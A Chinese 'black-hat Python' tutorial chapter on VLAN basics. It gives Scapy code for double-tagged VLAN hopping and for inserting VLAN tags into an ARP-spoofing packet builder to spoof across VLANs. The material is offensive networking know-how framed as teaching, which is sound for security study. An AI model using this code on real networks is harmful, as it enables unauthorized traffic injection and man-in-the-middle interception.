Python黑帽编程 3.4 跨域VLAN

Python黑帽编程 3.4 跨域VLAN

VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理网络障碍,将不同子网中的用户划到同一个VLAN中。图2是一个VLAN划分的例子。

图2

实现VLAN的方式有很多种,基于交换设备的VLAN划分,一般有两种:

l 基于交换机的端口划分

l 基于IEEE 802.1q协议,扩展以太网帧格式

基于第二层的VLAN技术,有个Trunking的概念,Trunking是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个VLAN的成员能够相互通讯。其中交换机之间互联用的端口就称为Trunk端口。除了80.2.1q之外,思科有自己的Trunk协议叫ISL。

图3

图3是802.1q的数据包,和普通的以太网帧并没有本质的区别,只是增加一个了VLAN Tag。红色部分的VLAN Identifier标识了一个数据包属于哪个VLAN,从而保证了数据广播的范围不会跨越VLAN。

现在做简单的思考,想要跨越VLAN通信,是不是只要修改数据包中的标识符就可以了呢?

3.4.1 VLAN HOPPING

基于上面的分析,我们考虑一个简单的场景:跨VLANping,从Vlan1的一个主机发送一个ping请求到Vlan2中的一个主机。

在具体编码前,我们还是要先解决VLAN数据包构造的问题,在Scapy中我们使用Dot1Q类来构造图3中的Tag部分。如图4。

图4

下面我们可以编写一个跨VLAN的ping请求了。

#!/usr/bin/python

from scapy.all import *

packet = Ether(dst="c0:d3:de:ad:be:ef") / \

Dot1Q(vlan=1) / \

Dot1Q(vlan=2) / \

IP(dst="192.168.13.3") / \

ICMP()

sendp(packet)

上面的代码我们指定了目标主机的MAC和IP地址,添加了两个VLAN标识,第一个是发送数据的主机所在的VLAN,第二个是目标主机所在的VLAN。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。

3.4.2 跨VLAN的ARP欺骗

3.1、3.2和3.3节我们都在讨论ARP欺骗的问题,由于VLAN限制了广播域,我们之前的代码是无法跨VLAN进行ARP欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的ARP欺骗数据中插入VLAN标识即可。下面这段代码是我们在3.1节构造ARP请求数据包的代码。

def build_req():

if options.target is None:

pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])

elif options.target:

target_mac = getmacbyip(options.target)

if target_mac is None:

print "[-] Error: Could not resolve targets MAC address"

sys.exit(1)

pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

return pkt

在构造数据包的部分,我们插入VLAN标识:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan)/ ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

这样就可以实现跨VLAN的ARP欺骗了。

3.4.3 小结

本节主要讲了如何构造欺骗VLAN的数据包,达到跨VLAN数据通信和ARP欺骗的目的。需要注意的是,本文的方法主要针对802.1Q协议,对以端口进行物理隔离的的VLAN没有效果。

下一节,我们进入第四章《网络层攻击》。

原文发布于微信公众号 - 玄魂工作室(xuanhun521)

原文发表时间:2016-09-05

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏向治洪

备忘录模式

概念 备忘录模式:又叫做快照模式,属于行为模式的一种,指在不破坏封装性的前提下,获取到一个对象的内部状态,并在对象之外记录或保存这个状态。在有需要的时候可将该对...

1978
来自专栏SDNLAB

源码解读ODL的MAC地址学习(二)

1 简介 上一篇文章(源码解读ODL的MAC地址学习(一))已经分析了MAC地址学习中的ARP请求的部分源码,下面将接着上一篇文章,介绍一下ARP响应和生成流表...

4275
来自专栏流浪猫的golang

go 的入门之路 Socket 编程

服务端监听本地IP(127.0.0.1)7777端口。当有客户端连接时,获得一个conn 对象,coon 对象是 interface Conn的实现者,

953
来自专栏linux驱动个人学习

高通非adsp 架构下的sensor的bug调试

当休眠后,再次打开preesure sensor的时候,会出现隔一段时候后,APK才会出现数据;(数据有时候会很难出现)

1161
来自专栏李蔚蓬的专栏

1.Android系统源代码目录与系统目录

想要看完整个Android的源代码,需要懂C、懂脚本、懂Java、软硬兼通。所以一般情况下,我们了解源代码的框架结构,出了问题知道从哪里着手解决就可以了。这就好...

4502
来自专栏恰同学骚年

自己动手写工具:百度图片批量下载器

开篇:在某些场景下,我们想要对百度图片搜出来的东东进行保存,但是一个一个得下载保存不仅耗时而且费劲,有木有一种方法能够简化我们的工作量呢,让我们在离线模式下也能...

3461
来自专栏林冠宏的技术文章

XGoServer 一个基础性、模块完整且安全可靠的服务端框架

作者:林冠宏 / 指尖下的幽灵 掘金:https://juejin.im/user/587f0dfe128fe100570ce2d8 博客:htt...

39118
来自专栏何俊林

Android Multimedia框架总结(六)C++中MediaPlayer的C/S架构

转载请把头部出处链接和尾部二维码一起转载,本文出自: http://blog.csdn.net/hejjunlin/article/details/52435...

1896
来自专栏Coding迪斯尼

从0到1用java再造tcpip协议栈:实现ARP协议层

经过前两节的准备,我们完成了数据链路层,已经具备了数据包接收和发送的基础设施,本机我们在此基础上实现上层协议,我们首先从实现ARP协议开始。先简单认识一下ARP...

1832
来自专栏分布式系统进阶

KafkaController分析2-NetworkClient分析InFlightRequests类

1671

扫码关注云+社区

领取腾讯云代金券